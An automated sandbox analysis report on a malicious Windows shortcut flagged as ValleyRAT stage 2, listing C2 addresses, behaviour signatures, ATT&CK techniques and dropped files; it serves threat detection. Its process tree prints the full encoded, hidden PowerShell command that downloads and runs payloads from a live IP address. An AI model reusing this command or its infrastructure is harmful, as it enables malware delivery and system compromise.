Analysis
- max time kernel
150s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
12/03/2026, 12:27
General
- Target 接口8+1.lnk
- Size 4KB
- Sample260312-pmxnnsdw2t
- SHA256 145ddb95c7dd7d05d1b179a7050cfc9ccb5a66e12c9e442a91becb5dacd7691b
Malware Config
Extracted
-
valleyrat_s2
-
1.0
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23.226.57.45:6666
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23.226.57.45:8888
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23.226.57.45:80
-
campaign_date
2026. 3. 6
Signatures
- Detects ValleyRAT payload 8 IoCs
- ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Valleyrat_s2 family
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Looks for VMWare Tools registry key 2 TTPs 2 IoCs
- Looks for VMWare services registry key. 1 TTPs 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 19 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\接口8+1.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ep Bypass -w h -EncodedCommand JABsAG8AYwBhAGwAUABhAHQAaAAgAD0AIAAoAEcAZQB0AC0ATABvAGMAYQB0AGkAbwBuACkALgBQAGEAdABoADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAiACQAbABvAGMAYQBsAFAAYQB0AGgAXABcAG0AeQBiAG8AbwBrAC4AbABuAGsAIgAgAC0ARgBvAHIAYwBlADsAIAAkAGgAPQAiAGgAdAAiADsAJAB0AD0AIgB0AHAAIgA7AGMAdQByAGwAIAAiACQAewBoAH0AJAB7AHQAfQA6AC8ALwAxADMANAAuADEAMgAyAC4AMQAyADgALgAxADMANQAvAG0AeQBiAG8AbwBrAC4AcABkAGYAIgAgAC0AbwAgACIAJABsAG8AYwBhAGwAUABhAHQAaABcAFwAbQB5AGIAbwBvAGsALgBwAGQAZgAiADsAIABpAGYAIAAoAC0AbgBvAHQAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDACIAKQApAHsAIAAgAE4AZQB3AC0ASQB0AGUAbQAgAC0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDACIAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9ADsAYwB1AHIAbAAgACIAJAB7AGgAfQAkAHsAdAB9ADoALwAvADEAMwA0AC4AMQAyADIALgAxADIAOAAuADEAMwA1AC8AbQB5AHMAZQBsAGYALgB6AGkAcAAiACAALQBvACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDAFwAXABtAHkAcwBlAGwAZgAuAHoAaQBwACIAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwATQBNAEMAXABcAG0AeQBzAGUAbABmAC4AegBpAHAAIgAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwATQBNAEMAIgAgAC0ARgBvAHIAYwBlADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwATQBNAEMAXABcAG0AeQBzAGUAbABmAC4AegBpAHAAIgAgAC0ARgBvAHIAYwBlADsAJgAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABcAE0AaQBjAHIAbwBzAG8AZgB0AFwAXABNAE0AQwBcAFwAYwBoAGcAcABvAHIAdAAuAGUAeABlACIAOwAmACAAIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAE0ATQBDAFwAXAB2AG0AdABvAG8AbABzAGQALgBlAHgAZQAiADsA2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe"C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\rundll32.exerundll32.exe4⤵
- Badlisted process makes network request
- Enumerates connected drives
- Suspicious use of SetWindowsHookEx
-
-
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C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe"C:\Users\Admin\AppData\Roaming\Microsoft\MMC\vmtoolsd.exe"3⤵
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
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-
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C:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exeC:\Users\Admin\AppData\Roaming\Microsoft\MMC\chgport.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exerundll32.exe2⤵
- Badlisted process makes network request
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_pb3ih1wf.n5f.ps1
MaxxAudioAPOShell64.dll
appdl.dll
cbb.bin
chgport.exe
glib-2.0.dll
gmodule-2.0.dll
gobject-2.0.dll
intl.dll
msvcp140.dll
pcre.dll
vcruntime140.dll
vcruntime140_1.dll
vmtools.dll
vmtoolsd.exe
wdd32.dll
memory/980-104-0x000001D2C3430000-0x000001D2C34FD000-memory.dmp
memory/1768-93-0x00000196B3430000-0x00000196B34FD000-memory.dmp
memory/2136-105-0x0000013DD7440000-0x0000013DD750D000-memory.dmp
memory/2368-113-0x000001CE901A0000-0x000001CE901CA000-memory.dmp
memory/2368-126-0x000001CE91ED0000-0x000001CE91F9D000-memory.dmp
memory/2368-124-0x000001CE901A0000-0x000001CE901CA000-memory.dmp
memory/2368-123-0x000001CE901A0000-0x000001CE901CA000-memory.dmp
memory/2368-120-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp
memory/2368-119-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp
memory/2368-118-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp
memory/2368-109-0x000001CE901A0000-0x000001CE901CA000-memory.dmp
memory/2368-114-0x000001CE91E80000-0x000001CE91ECE000-memory.dmp
memory/2368-110-0x000001CE901A0000-0x000001CE901CA000-memory.dmp
memory/2368-106-0x000001CE901A0000-0x000001CE901CA000-memory.dmp
memory/3008-96-0x0000018663D40000-0x0000018663D4C000-memory.dmp
memory/3008-95-0x0000018663A00000-0x0000018663ACD000-memory.dmp
memory/3040-116-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp
memory/3040-122-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp
memory/3040-107-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp
memory/3040-103-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp
memory/3040-125-0x00000249ECA60000-0x00000249ECB2D000-memory.dmp
memory/3040-111-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp
memory/3040-112-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp
memory/3040-108-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp
memory/3040-121-0x00000249EACE0000-0x00000249EAD0A000-memory.dmp
memory/3040-115-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp
memory/3040-117-0x00000249ECA10000-0x00000249ECA5E000-memory.dmp
memory/4700-32-0x00000178BD850000-0x00000178BD860000-memory.dmp
memory/4700-13-0x00000178BD850000-0x00000178BD860000-memory.dmp
memory/4700-75-0x00000178A37C0000-0x00000178A37CC000-memory.dmp
memory/4700-3-0x00000178BD850000-0x00000178BD860000-memory.dmp
memory/4700-12-0x00000178BD850000-0x00000178BD860000-memory.dmp
memory/4700-5-0x00000178BD820000-0x00000178BD842000-memory.dmp
memory/4700-16-0x00000178BDD30000-0x00000178BDD42000-memory.dmp
memory/4700-33-0x00000178BD850000-0x00000178BD860000-memory.dmp
memory/4700-2-0x00000178BD850000-0x00000178BD860000-memory.dmp
memory/4700-17-0x00000178BDD10000-0x00000178BDD1A000-memory.dmp